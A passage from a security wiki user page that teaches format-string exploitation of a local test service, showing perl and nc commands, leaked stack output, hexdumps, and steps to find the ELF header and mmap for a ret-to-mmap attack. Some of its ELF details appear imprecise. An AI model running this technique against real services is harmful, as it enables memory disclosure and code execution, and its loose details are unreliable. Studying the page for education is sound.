Questions about this topic? Sign up to ask in the talk tab.

User:Hatter/format strings

From NetSec
Jump to: navigation, search

Once a vulnerability has been identified, determine the return pointer like so:

 root /var/log # perl -e 'print "AAAA\n" . "%08p\n"x7;'|nc localhost 790           
 AAAA
 0x7fffd1c1f430
 0x7f567d0ed140
 0xffffffff
  (nil)
  (nil)
  (nil)
 0x7fffd1c1f938

In this case, there were no additional arguments passed to sprintf(), so we can deduce that 0x7fffd1c1f430 is the current stack pointer. Obviously if this is the second argument and there is no third argument, this indicates that the ret pointer is located at 0x7fffd1c1f438. So:

  1. Reverse and chop the address for binary : \x38\xf4\xc1\xd1\xff\x7f
  2. Arbitrarily set arguments using some pointer manipulation:
 root /var/log # perl -e 'print "\x38\xf4\xc1\xd1\xff\x7f\n" . "%08p\n"x6 . "%8s\n\nPADDINGPADDINGPADDING\n";'|nc localhost 790|hexdump -C
 00000000  38 f4 c1 d1 ff 7f 0a 30  78 37 66 66 66 64 31 63  |8......0x7fffd1c|
 00000010  31 66 34 33 30 0a 30 78  37 66 35 36 37 64 30 65  |1f430.0x7f567d0e|
 00000020  64 31 34 30 0a 30 78 66  66 66 66 66 66 66 66 0a  |d140.0xffffffff.|
 00000030  20 20 20 28 6e 69 6c 29  0a 20 20 20 28 6e 69 6c  |   (nil).   (nil|
 00000040  29 0a 20 20 20 28 6e 69  6c 29 0a 20 20 81 fc c1  |).   (nil).  ...|
 00000050  d1 ff 7f 0a 0a 50 41 44  44 49 4e 47 50 41 44 44  |.....PADDINGPADD|


  • Extract the return pointer - we know padding comes immediately after it, which

puts our return pointer on the following two lines:

 00000040  29 0a 20 20 20 28 6e 69  6c 29 0a 20 20 81 fc c1  |).   (nil).  ...|
 00000050  d1 ff 7f 0a 0a 50 41 44  44 49 4e 47 50 41 44 44  |.....PADDINGPADD|
  • Trim and pack the pointer:
  1. Isolate the bytes:
  2.                                              20 20 81 fc c1  |).   (nil).  ...|
           00000050  d1 ff 7f 0a 0a
    
  3. The most recent return pointer (inside the binary's stack) is 0x7fffd1c1fc81
  4. \x81\xfc\xc1\xd1\xff\x7f




Now that we know the return pointer, there are a few things that can be quickly inferred due to our knowledge of the ELF64 binary file format. In review:

  • The base pointer always ends in two zero's, at offset 0x1 from the base pointer is the string ELF.
  • The program header size is stored in the ELF header.
  • At offset 0x130 + base is always the first program header pointing to the dynamic section.
  • The first byte of the program header for an export table is 0x05
  • It is highly probable that libc's SSP etc are active, and so our "return pointer" probably points somewhere inside of libc


We'll want to utilize the classic "ret-to-mmap" attack, but mmap may not imported by the vulnerable application. In this case, it isn't:

 root /home/vorhees/format_strings # objdump -R socket-failure
 
 socket-failure:     file format elf64-x86-64
 
 DYNAMIC RELOCATION RECORDS
 OFFSET           TYPE              VALUE 
 00000000006011c8 R_X86_64_GLOB_DAT  __gmon_start__
 0000000000601270 R_X86_64_COPY     stderr
 00000000006011e8 R_X86_64_JUMP_SLOT  puts
 00000000006011f0 R_X86_64_JUMP_SLOT  write
 00000000006011f8 R_X86_64_JUMP_SLOT  htons
 0000000000601200 R_X86_64_JUMP_SLOT  read
 0000000000601208 R_X86_64_JUMP_SLOT  __libc_start_main
 0000000000601210 R_X86_64_JUMP_SLOT  listen
 0000000000601218 R_X86_64_JUMP_SLOT  bind
 0000000000601220 R_X86_64_JUMP_SLOT  perror
 0000000000601228 R_X86_64_JUMP_SLOT  accept
 0000000000601230 R_X86_64_JUMP_SLOT  atoi
 0000000000601238 R_X86_64_JUMP_SLOT  sprintf
 0000000000601240 R_X86_64_JUMP_SLOT  exit
 0000000000601248 R_X86_64_JUMP_SLOT  fwrite
 0000000000601250 R_X86_64_JUMP_SLOT  fork
 0000000000601258 R_X86_64_JUMP_SLOT  socket


That's 100% ok. Because we can read data from arbitrary locations, we can calculate the absolute address of mmap ANYWAY.

  • Starting with: \x81\xfc\xc1\xd1\xff\x7f
  • We can deduce that the first potential location of the base pointer is at \x00\xf0\xc1\xd1\xff\x7f
  • Since we don't want to use a null, for the moment:
 \x01\xf0\xc1\xd1\xff\x7f
  • If we get the string ELF, we've found our ELF header! If not, we check the next iteration backwards:
 \x01\xe0\xc1\xd1\xff\x7f
  • And so on and so forth....
  • Once the base pointer is calculated, add 0x129 to the location that originally pointed to the string "ELF". Read the data at this location, this is the first dynamic program header in the loaded binary. If the first byte at the location is 0x05, you've found the export table. If not, add 0x10 to the pointer and continue until the program header to the export table is found.
  • The location of the string table for the export table is located at the export program header + 0x8
  • The location of the symbol table for the export table is located at the export program header + 0x18
  • Dump the string table, counting the number of strings until the string "mmap". This can be dumped in hex to avoid null bytes from truncating the string.
  • Multiply the "function counter" for mmap by 0x18 and add this to the address of the export symbol table.
  • Add 0x10 to the newly isolated symbol table entry address
  • The offset to mmap from the base pointer is located at the freshly calculated address to the symbol table entry's record and function pointer offset.
  • By adding this offset to the location of the string ELF and subtracting 0x1, the address of mmap is calculated without the need to have it within the GOT.